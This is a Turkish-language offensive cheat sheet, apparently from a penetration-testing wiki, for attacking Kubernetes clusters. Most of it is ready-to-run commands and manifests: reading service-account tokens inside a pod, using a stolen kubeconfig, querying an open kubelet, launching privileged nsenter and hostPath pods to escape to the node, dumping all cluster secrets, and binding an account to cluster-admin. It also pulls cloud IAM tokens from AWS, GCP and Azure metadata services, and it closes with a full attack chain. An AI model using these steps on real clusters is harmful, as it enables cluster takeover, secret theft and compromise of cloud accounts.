Kubernetes Saldırıları
K8s orchestration
K8s orchestration
Kubernetes’te saldırı; ele geçirilmiş bir pod’dan veya sızmış kubeconfig / API token’dan başlayıp RBAC yanlış yapılandırmaları, açık API/kubelet ve service account token’ları ile kümenin tamamına (ve bulut IAM’ine) yayılmaya odaklanır.
Ön koşullar
Section titled “Ön koşullar”- Pod shell / SSRF / sızmış kubeconfig / CI token- kubectl veya curl + SA token- API server adresi (ortam değişkeni veya kubeconfig)Pod içinden keşif
Section titled “Pod içinden keşif”ls -la /var/run/secrets/kubernetes.io/serviceaccount/cat /var/run/secrets/kubernetes.io/serviceaccount/tokencat /var/run/secrets/kubernetes.io/serviceaccount/namespacecat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt | openssl x509 -text -noout | headenv | grep -iE 'KUBERNETES|AWS|AZURE|GOOGLE|SECRET|PASS'APISERVER=https://${KUBERNETES_SERVICE_HOST}:${KUBERNETES_SERVICE_PORT_HTTPS}TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)NS=$(cat /var/run/secrets/kubernetes.io/serviceaccount/namespace)curl -sk -H "Authorization: Bearer $TOKEN" "$APISERVER/api/v1/namespaces/$NS/pods"kubectl auth can-i --listkubectl auth can-i create podskubectl auth can-i get secrets --all-namespaceskubectl auth can-i create clusterrolebindingkubectl get nskubectl get pods -Akubectl get nodes -o widekubectl get secrets -Akubectl get sa,roles,rolebindings -Akubectl get clusterroles,clusterrolebindingsDışarıdan:
export KUBECONFIG=./stolen-kubeconfigkubectl cluster-infokubectl get nodescurl -sk https://API:6443/versioncurl -sk https://API:6443/apicurl -sk https://NODE:10250/podscurl -sk https://NODE:10250/runningpods/Yaygın zayıflıklar
Section titled “Yaygın zayıflıklar”- Aşırı yetkili SA (cluster-admin bağlı) → tüm kümeyi yönet- Default SA'ya gereksiz RoleBinding- Açık kubelet (10250) → node üzerinde komut / log- Anonim/açık API server → yetkisiz list/create- create pods + hostPath / privileged / hostPID / hostNetwork → node escape- secrets get/list → DB/cloud kimlik bilgileri- create clusterrolebinding → anında cluster-admin- Impersonate users/groups- etcd açık / yedek sızıntısı- Ingress / dashboard (kubernetes-dashboard) publicKomut üreteci
Section titled “Komut üreteci”kubectl · can-i
embedded toolkubectl auth can-i --listkubectl · can-i
Section titled “kubectl · can-i”Saldırı adımları
Section titled “Saldırı adımları”-
Yetkini ölç — kubectl auth can-i –list ; create pods , get secrets , create clusterrolebinding , impersonate gibi kritik izinleri ara. peirates veya kubectl-who-can ile otomatikleştir.
-
Privileged / hostPath pod ile node’a in — hostPath ile / mount eden veya privileged: true + hostPID + nsenter pod’u oluştur.
-
Secret hasadı — kubectl get secrets -A -o yaml ; cloud SA JSON, DB, registry pull secret, TLS key çek.
-
Cluster-admin’e yüksel — create clusterrolebinding iznin varsa SA’nı cluster-admin’e bağla; sonra tüm namespace’lerde kalıcılık kur.
Privileged / nsenter pod
Section titled “Privileged / nsenter pod”kubectl run pwn --restart=Never -it --rm --image=alpine --overrides='{ "spec": { "hostPID": true, "hostNetwork": true, "containers": [{ "name": "p", "image": "alpine", "securityContext": {"privileged": true}, "command": ["nsenter", "--mount=/proc/1/ns/mnt", "--", "/bin/bash"], "stdin": true, "tty": true }] }}'hostPath mount
Section titled “hostPath mount”apiVersion: v1kind: Podmetadata: name: hostfsspec: containers: - name: c image: alpine command: ["sleep", "3600"] volumeMounts: - name: host mountPath: /host volumes: - name: host hostPath: path: /kubectl exec -it hostfs -- chroot /host bashClusterRoleBinding
Section titled “ClusterRoleBinding”kubectl create clusterrolebinding pwn-admin \ --clusterrole=cluster-admin \ --serviceaccount=namespace:defaultBulut metadata köprüsü
Section titled “Bulut metadata köprüsü”Node’a indikten veya hostNetwork ile:
curl -s http://169.254.169.254/latest/meta-data/iam/security-credentials/curl -s -H "Metadata-Flavor: Google" \ http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/tokencurl -s -H "Metadata: true" \ "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/"Saldırı zinciri
Section titled “Saldırı zinciri”App pod RCE → SA token can-i create pods + list secrets → secrets → registry + DB → privileged pod → node root → cloud instance metadata → proje/hesap IAM